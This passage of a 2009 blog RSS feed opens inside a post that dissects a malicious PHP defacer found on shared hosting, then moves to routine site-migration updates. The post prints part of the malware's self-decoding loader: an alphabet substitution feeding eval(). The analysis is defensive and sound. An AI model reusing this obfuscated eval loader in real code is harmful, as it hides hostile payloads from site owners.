&#160; &#160; &#160; <span class="re0">$fread</span><span class="br0">&#40;</span><span class="re0">$thisfile</span><span class="sy0">,</span> <span class="re0">$count</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="co1">// second part of magic string</span><br />
&#160; &#160; &#160; <span class="st_h">'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/='</span><span class="sy0">,</span><br />
&#160; &#160; &#160; <span class="st_h">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'</span><br />
&#160; &#160; <span class="br0">&#41;</span><br />
&#160; <span class="br0">&#41;</span><br />
<span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">fclose</span><span class="br0">&#40;</span><span class="re0">$thisfile</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">eval</span><span class="br0">&#40;</span><span class="re0">$part3</span><span class="br0">&#41;</span><span class="sy0">;</span></div></div>
  <div class='sourceblocklink'><a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;num=7&amp;sid=df27688e1ea0f31a8391579434ba1a6f' type='text/plain'>Get Code</a></div>
</div>

<p class='vspace'>This is looking familiar. Our protagonist is reading in the rest of that line, performing the exact same substitution (is it that hard to make a new mapping?) and then performing a useless substitution (there is no &#8220;__FILE__&#8221; in the text; plus, it&#8217;d get filled in anyway). Then he&#8217;s eval()ing again, finally closing the file, which is kind (except he&#8217;s has forgotten to use <code>$fclose</code>).
</p>
<p class='vspace'>This time the eval()d code is &gt;25KB. At this point he is done; he has a nice malicious PHP page for abusing people&#8217;s forums, reading arbitrary files... and that&#8217;s it. This is just a script kiddie forum defacer.
</p>
<p class='vspace'>What do we do about this kind of idiot? Well, we don&#8217;t let people upload PHP scripts, for a start. The only way this can get in there is from someone else on the shared server putting files in a world-writeable directory. (That person could well be the Apache/PHP user, via a malicious script executed via a flaw in someone else&#8217;s website on the same server.) And to allow PHP uploads, we can&#8217;t really avoid that being possible. The options are:
</p>
<div class='vspace'></div><ul><li>A private server (dedicated box), where there is nobody else around. Could be expensive, and you really need a sysadmin to keep on top of it.
</li><li>A virtualised server, where our stuff is sandboxed away from everyone else. Looks like the former one but should be cheaper.
</li><li>A system set up to run Apache and/or PHP as a specific user who is in the same group as the &#8220;account user&#8221;. Easier said than done, apparently.
</li></ul><p class='vspace'>We&#8217;ll probably get to one of these eventually. Until then... well, let&#8217;s be careful out there.
</p>
]]></description><link>http://www.smspower.org/maxim/WhySharedHostingSucks</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-11-17T09:48:21Z</dc:date>
<pubDate>Tue, 17 Nov 2009 09:48:21 GMT</pubDate>
</item>
<item>
<title>Just About Done</title>
<author>Maxim</author>
<description><![CDATA[<p>I&#8217;ve now converted over everything from the old site except for, of course, <a class='wikilink' href='http://www.smspower.org/maxim/HowToProgram/Index?sid=df27688e1ea0f31a8391579434ba1a6f'>How To Program</a> which is taking just about forever.
</p>
<p class='vspace'>
I&#8217;ve written a fair amount extra for it, and I&#8217;m having to adjust what comes after as a result. There&#8217;s also some things I need to revisit from the Hello World demo, to make it more correct as a base for people to use. Time is my enemy, I have a million scans to upload, the VGM section is half-done, the PHPBB3 conversion is taking forever since I decided I don&#8217;t like any of the &#8220;themes&#8221; and I&#8217;m writing my own...
</p>
]]></description><link>http://www.smspower.org/maxim/JustAboutDone</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-31T18:11:58Z</dc:date>
<pubDate>Mon, 31 Aug 2009 18:11:58 GMT</pubDate>
</item>
<item>
<title>Phew!</title>
<author>Maxim</author>
<description><![CDATA[<p class='vspace'>Thank goodness the site wasn&#8217;t lost - not one word of the converted pages had been backed up because I did it all since last Sunday. It&#8217;s annoying to have this sort of thing happen, but the knowledge that I have a half-decent backup stopped it being as stomach-sinkingly awful as it might have been.
</p>
<p class='vspace'>I&#8217;ve decided to restructure <a class='wikilink' href='http://www.smspower.org/maxim/HowToProgram/Index?sid=df27688e1ea0f31a8391579434ba1a6f'>How To Program</a> a bit, possibly in light of the Stan affair. There&#8217;s more potential for off-shooting explanatory pages in this new system, too. All I need is time...
</p>
]]></description><link>http://www.smspower.org/maxim/Phew</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-28T17:11:35Z</dc:date>
<pubDate>Fri, 28 Aug 2009 17:11:35 GMT</pubDate>
</item>
<item>
<title>Maps 'n' Stuff</title>
<author>Maxim</author>
<description><![CDATA[<p class='vspace'>I added a bunch more pages, mostly maps. Slightly annoyingly, PmWiki doesn&#8217;t support some punctuation in filenames so I had to mangle my nicely-formatted naming convention. On the plus side, I&#8217;m getting pretty good at converting the HTML to the wiki syntax.
</p>
<p class='vspace'>As you may have noticed, I&#8217;m also trying to post a blag entry each day for a while, partly as a motivation thing and partly so I can populate the system a bit so I can try to figure out some of the more tricksy stuff like archives.
</p>
<p class='vspace'>
Coming up soon is the conversion of <a class='wikilink' href='http://www.smspower.org/maxim/HowToProgram/Index?sid=df27688e1ea0f31a8391579434ba1a6f'>HowToProgram</a> (dead link until I do it) which is going to be tough. I&#8217;m thinking of breaking it up a bit into smaller pages joined by a wikitrail. All I need is time... although, in a few weeks, that problem will be somewhat transformed into having time to fill. Let&#8217;s look on that as a good thing.
</p>
]]></description><link>http://www.smspower.org/maxim/MapsNStuff</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-28T17:00:46Z</dc:date>
<pubDate>Fri, 28 Aug 2009 17:00:46 GMT</pubDate>
</item>
<item>
<title>Making Progress</title>
<author>Maxim</author>
<description><![CDATA[<p>I&#8217;ve started porting some of my old pages over. Exciting as this is to my millions of readers, it is taking some time, but hopefully the new improved format will work better and let me add stuff with less suffering in future.
</p>
<p class='vspace'>
Obligatory xkcd:
</p>
<div class='vspace'></div><div><a class='urllink' href='http://xkcd.com/148/' rel='nofollow'><img src='http://www.smspower.org/maxim/uploads/Blag/mispronouncing.png' alt='' /></a></div>
]]></description><link>http://www.smspower.org/maxim/MakingProgress</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-28T17:00:58Z</dc:date>
<pubDate>Fri, 28 Aug 2009 17:00:58 GMT</pubDate>
</item>
<item>
<title>Site Changes</title>
<author>Maxim</author>
<description><![CDATA[<p>Changing my site, please wait for normal service to resume.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/technical-difficulties.jpg' alt='' title='' /></div>
]]></description><link>http://www.smspower.org/maxim/SiteChanges</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-28T15:46:11Z</dc:date>
<pubDate>Fri, 28 Aug 2009 15:46:11 GMT</pubDate>
</item>
</channel>
</rss>
